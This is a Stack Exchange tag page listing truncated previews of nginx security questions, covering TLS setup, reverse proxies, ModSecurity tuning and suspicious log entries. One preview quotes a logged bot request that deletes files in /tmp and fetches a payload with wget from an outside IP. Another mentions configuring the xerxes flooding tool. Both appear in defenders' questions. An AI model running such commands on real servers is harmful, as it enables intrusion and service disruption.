Questions tagged [nginx]
nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev
177
questions
0
votes
0
answers
35
views
Trying to generate TLS 1.3 Alert
I am trying to run tests on the TLS 1.3 protocol and I would like to generate alerts (as seen in TLS 1.2) that have a structure of the type ALERT:FATAL UNEXPECTED MESSAGE.
So far, I have tried to use ...
0
votes
0
answers
77
views
HTTP request smuggling on NGINX gives error 400?
I'm learning about HTTP request smuggling and for this i'm trying to "break" into a broken site that is running under docker. The architecture of the site is Cache -> NGINX -> site. ...
2
votes
0
answers
431
views
Weird hack attempt nginx proxy manager and photoprism drives me nuts
I have a logged http request in nginx logs which drives me nuts because I don't understand how it's finding its way into the logs:
[03/Jul/2023:13:45:04 +0000] 400 - GET http localhost "/bin/...
- 21
0
votes
1
answer
134
views
Getting a couple of remote login and calls into Ubuntu server?
I have a ubuntu server (Ubuntu 22.10 x64) on Digital Ocean. And I am using fastapi, uvicorn, gunicorn and nginx as I used it for my backend api calls from my frontend and my frontend IP is dynamic.
...
- 1
0
votes
0
answers
63
views
Prevent read access to other users' files using SELinux
While running a VPS for shared hosting, I put the data for the various users and websites as /var/www/[USER]/public_html/[DOMAIN]/.... I'd like to make sure that one user cannot access data from ...
- 101
0
votes
0
answers
298
views
Arbitrary File Upload Vulnerability
I have found an arbitrary file upload vulnerability on a flask application that I was playing with that essentially allows me to append to any file (and create new ones) in the file system. The code ...
1
vote
1
answer
421
views
Website randomly downloading html files to visitors [closed]
Another behaviour I found on a website with malware issues.
It keeps downloading random files like one named s2bbGoEJ.html to users computers. It actually tried to automatically download one such file ...
- 11
0
votes
1
answer
277
views
Cloudflare not hide VPS IP (ngnix)
I have a problem with hiding the VPS IP using Cloudflare. My IP can be found on search.censys.io. I don't have any DNS leaks. I'm using nginx to reverse proxy a node.js server. Is it possible to hide ...
- 1
1
vote
1
answer
201
views
Do you encrypt traffic between GKE nodes and external Load balancers?
I have a GKE standard deployment in GCP. I have TLS terminating at an IAAS managed load balancer, provided by their Ingress controller. The certificates are GoogleManagedCertificates. I'm fine with ...
- 113
1
vote
2
answers
185
views
Can an NGINX reverse proxy reveal the backend if serving non-static content?
My setup consists of a public-facing VPS running NGINX, and a local machine running certain services. The VPS and the local machine are connected using WireGuard, and NGINX on the VPS is using ...
1
vote
2
answers
1k
views
How bad it is to open qBittorrent web UI port
I have small home server that runs a qBittorrent in docker container, and I was wondering how bad/risky it is if I'd forward the port for the web UI so I can access it from outside my network.
I know ...
- 111
2
votes
1
answer
195
views
Is better for security to not run Nginx and Backend inside docker but use docker only for database and not external exposed services?
I'm not a Docker specialist, I know how to install, configure and do only basic Docker hardening based on Docker official documentation.
I know nothing about AppArmor,SELinux and GRSEC.
But i need to ...
- 21
0
votes
0
answers
18
views
Suspicious log entries [duplicate]
I have this kind of entries in my nginx log. If I read them correctly, someone is trying to call index.php script that is trying to download some shell script, but I don't have any PHP on this server (...
- 143
0
votes
1
answer
213
views
Suspicious looking requests to my NGINX server
For the past 2 weeks, I have observed 4-5 spikes in 5xx responses. After looking into the logs, I found a series of:
> 51.159.150.125 - - [16/Sep/2022:06:37:55 +0200] "GET /some-legitimate-...
- 123
1
vote
0
answers
95
views
When passing through SSL from web server A to web server B (via nginx), does web server A need SSL configured as well, or just web server B?
I'm using nginx here as an example, but this is really more of a conceptual question about SSL termination and TCP that could apply to any web server.
Basically, if web server A receives TCP traffic ...
- 111
0
votes
0
answers
128
views
Very slow SOAP POST request processing with ModSecure for certain rules (SQL, IIS and system exploits)
While trying to implement NGinx WAF with ModSecurity 3.0.6 I am facing the issue with very poor XML SOAP POST performance. Rrequests takes ~5 seconds with occasional spikes up to 10 seconds.
If I ...
- 1
0
votes
0
answers
15
views
Can anyone help finding what's shady things are logged on my nginx webserver? [duplicate]
I have a hosted a simple react website(testing) with nginx webserver and cloudflare as ssl provider.My website is down from few days with cloudflare error 525 "SSL handshake failed".I was ...
0
votes
1
answer
156
views
Ruby on Rails: Request to http://\localhost/admin/config.php
I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php
This is the notification:
-------------------------------
Request:
------------------------...
- 103
0
votes
1
answer
233
views
How might I rate-limit in nginx against a distributed attacker that has set the number of parallel connections in xerxes to 1?
An attacker tweaks xerxes by setting the number of CONNECTIONS in xerxes to 1 instead of 8, like so:
#define CONNECTIONS 1
They then attack with xerxes-executable mydomain 433.
Their strategy is to ...
- 137
0
votes
1
answer
361
views
TLS session tickets between proxy and upstreams
I'm planning to implement (nginx) ssl_session_tickets in addition to ssl_session_cache between a proxy and upstream. They're not located in the same DC so TLS must be in place.
My questions are : 1) ...
- 103
0
votes
1
answer
453
views
LAN Only Webserver
I am on a 192.x.x.x network and have a local server that hosts some webapps for the local users of the network. The server is running:
Ubuntu
VPN
Nginx Reverse Proxy with the site.conf including: ...
2
votes
0
answers
400
views
What are NGINX reverseproxy users doing to prevent HTTP Request smuggling?
Since NGINX does not support sending HTTP/2 requests upstream, what are the present NGINX reverseproxy users doing to mitigate HTTP Request Smuggling vulnerability?
I understand that the best way to ...
- 21
1
vote
1
answer
1k
views
Should we enable UFW for EC2 (Ubuntu Server) instance with Nginx?
I just finished installing Nginx on my EC2 Ubuntu Server (AWS) and everything looks normal.
I tested it on my browser by accessing my EC2 public IP. I can see Nginx's welcome message.
It's not a big ...
- 13
1
vote
1
answer
250
views
How to stop multiple port access attempts - multiple TIME_WAIT and ESTABLISHED lines on ports 80, 443, etc... from external IPs
I have nginx as reverse proxy and apache in the back, a firewall setup to enable just http and https, and ssh.
netstat -tlupna gives me tens of lines with multiple TIME_WAIT or ESTABLISHED lines ...
- 13
0
votes
0
answers
198
views
Possible VNC-over-HTTP exploit involving Nginx?
I have the following setup Nginx + php-fpm, Nginx is running on port 80 and 443.
Recently I noticed that connections were made from this servers port 80 to a remote machine on port 580x. [ src port is ...
- 31
0
votes
1
answer
263
views
Why is my SecAction rule being ignored?
I'm trying to configure a
SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg ...
- 51
0
votes
1
answer
2k
views
Blocking nginx from nmap version detection [duplicate]
Is there an efficient way to hide nginx from Nmap's Version Detection scan (nmap -sV)? The following is a sample result, we are trying to hide the nginx (reverse proxy) string.
PORT STATE SERVICE ...
- 3
0
votes
1
answer
345
views
How to use DH certificate to configure nginx server
My purpose is to leverage DH algorithm to enhance self-signed certificate (A toy in local computer).
I refered the answer of Matt Caswell. It works fine to generate the dhcert.pem but fail to ...
1
vote
1
answer
255
views
Encryption with Tomcat & Nginx reverse proxy
I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind:
...
- 11
1
vote
1
answer
1k
views
Changing $_SERVER['REMOTE_ADDR'] remotely
On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?:
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
...
- 45
1
vote
1
answer
2k
views
Spam GET And POST Requests - Are They Dangerous?
I am getting a lot of spam GET and POST requests lately which some of them look like this:
"GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux ...
user257368
1
vote
1
answer
505
views
Can a machine running a packet sniffer see what nginx is forwarding on localhost to a Flask app?
I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API ...
- 113
1
vote
2
answers
152
views
Is it unsafe to publish your nginx configs?
I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple ...
- 113
2
votes
3
answers
628
views
Is there any way for a client to view headers set by an NGINX reverse proxy?
I am setting up an NGINX reverse proxy, which sits in front of an API. I would like to use:
proxy_set_header X-Secret-Key ${SECRET_VALUE};
to add a token to the request, which is then read by the API. ...
- 121
3
votes
0
answers
142
views
Is this nginx config suitable to enforce proper authorization?
Scenario
I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
user163495
1
vote
1
answer
774
views
Why is php-fpm trying to connect somewhere on port 443?
I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS.
When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
- 300
0
votes
0
answers
113
views
DDoS in form of bad bots?
Recently, one of my servers came under attack by DDoSing it. After inspection of access logs, I can only find one common denominator: Referrer.
All of request come with (I assume) fake referrer:
...
- 123
1
vote
1
answer
5k
views
"unsupported certificate purpose" for nginx client auth
Please concern the following setup: A client certificate is issued like this:
Root CA → Intermediate CA → Client Cert
Let's assume everything is fine up to here, the intermediate CA cert is properly ...
- 143
1
vote
1
answer
4k
views
Mongo DB hacked (read_me_to_recover) without the port exposed in the firewall?
I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the ...
- 111
0
votes
2
answers
258
views
Unusal GET requests in my nodejs journal - has my nginx/node been hacked? [duplicate]
Saw this in the journalctl for a service I have:
jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485
jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/...
- 103
0
votes
1
answer
119
views
Nginx module security
Im considering using this nginx module https://github.com/leev/ngx_http_geoip2_module to get the Information from which Country the IP is.
My question is since im compiling the module by myself, how ...
- 3
4
votes
1
answer
565
views
Why request shell commands from nginx?
I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs:
170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
- 249
0
votes
1
answer
3k
views
HTTP Basic Auth and CSRF
I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks).
I ...
3
votes
2
answers
894
views
User authentication: In HTTP Server vs. in Web Application
Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
- 140
0
votes
0
answers
95
views
Is there a way to limit cookies to certain hosts in HTTP?
Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
- 190
1
vote
1
answer
407
views
Is `SecAction` order important for an OWASP ModSecurity config file?
Using a web server with Nginx + ModSecurity + OWASP ModSecurity Core Rules...
On the OWASP config file crs-setup.conf is the order of the config section SecAction important or can i order them ...
- 111
1
vote
1
answer
1k
views
Private ip address revealed by nginx, should I worry?
I run nikto on a server, let's say www.example.com and it says the following:
OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. ...
- 489
0
votes
1
answer
704
views
Why do we want a timeout on a server?
This question is quite general as I want to understand the (security) benefits of a 'timeout' in general.
For our Nginx proxy-server, we have been using HTTP/S timeouts where we came across the ...
- 103
1
vote
2
answers
594
views
Prevent download of an angular website by unauthenticated users
I have an app using angular and when deployed to a server, everyone can ofc download the source codes, obfuscated or not.
Yet, I would like to prevent user that are not authenticated to see the ...
- 113
1
vote
1
answer
590
views
On TLS-enabled nginx/httpd, is "ssl_verify_client optional_no_ca" disabling TLS's "CertificateVerify" checks?
I'm looking for an helping hand with my https nginx setup.
I require my application to be exposed through an nginx frontend, offloading TLS. Easy !
The thing is, I need to have Certificate-based ...
- 11